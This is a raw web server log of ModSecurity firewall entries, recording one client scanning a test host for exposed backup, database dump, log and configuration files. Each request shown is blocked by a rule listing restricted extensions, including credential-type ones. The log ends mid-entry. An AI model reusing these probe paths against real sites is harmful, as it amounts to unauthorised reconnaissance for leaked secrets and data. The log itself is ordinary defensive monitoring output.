[Sun Mar 22 01:06:27.684732 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/app.js.bak&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBsAAAAAI&quot;]
[Sun Mar 22 01:06:27.685129 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/app.js.bak&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBsAAAAAI&quot;]
[Sun Mar 22 01:06:27.685256 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/app.js.bak&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBsAAAAAI&quot;]
[Sun Mar 22 01:06:27.707263 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/backup.sql&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBsQAAAAI&quot;]
[Sun Mar 22 01:06:27.707639 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/backup.sql&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBsQAAAAI&quot;]
[Sun Mar 22 01:06:27.707759 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/backup.sql&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBsQAAAAI&quot;]
[Sun Mar 22 01:06:27.841734 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/config.php.bak&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBtwAAAAI&quot;]
[Sun Mar 22 01:06:27.842117 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/config.php.bak&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBtwAAAAI&quot;]
[Sun Mar 22 01:06:27.842238 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/config.php.bak&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBtwAAAAI&quot;]
[Sun Mar 22 01:06:27.886436 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/db.sql&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBuQAAAAI&quot;]
[Sun Mar 22 01:06:27.886818 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/db.sql&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBuQAAAAI&quot;]
[Sun Mar 22 01:06:27.886945 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/db.sql&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBuQAAAAI&quot;]
[Sun Mar 22 01:06:27.931439 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/debug.log&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBuwAAAAI&quot;]
[Sun Mar 22 01:06:27.931831 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/debug.log&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBuwAAAAI&quot;]
[Sun Mar 22 01:06:27.931955 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/debug.log&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBuwAAAAI&quot;]
[Sun Mar 22 01:06:27.976155 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/dump.sql&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBvQAAAAI&quot;]
[Sun Mar 22 01:06:27.976533 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/dump.sql&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBvQAAAAI&quot;]
[Sun Mar 22 01:06:27.976663 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/dump.sql&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBvQAAAAI&quot;]
[Sun Mar 22 01:06:28.020919 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/error.log&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QBvwAAAAI&quot;]
[Sun Mar 22 01:06:28.021301 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/error.log&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QBvwAAAAI&quot;]
[Sun Mar 22 01:06:28.021437 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/error.log&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QBvwAAAAI&quot;]
[Sun Mar 22 01:06:28.088269 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/logs/error.log&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QBwgAAAAI&quot;]
[Sun Mar 22 01:06:28.088663 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/logs/error.log&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QBwgAAAAI&quot;]
[Sun Mar 22 01:06:28.088802 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/logs/error.log&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QBwgAAAAI&quot;]
[Sun Mar 22 01:06:28.200650 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/site.conf&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QBxwAAAAI&quot;]
[Sun Mar 22 01:06:28.201033 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/site.conf&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QBxwAAAAI&quot;]
[Sun Mar 22 01:06:28.201162 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/site.conf&quot;] [unique_id &quot;ab8yhFJYD4HbtTsiw8QBxwAAAAI&quot;]
[Sun Mar 22 01:06:28.223183 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] 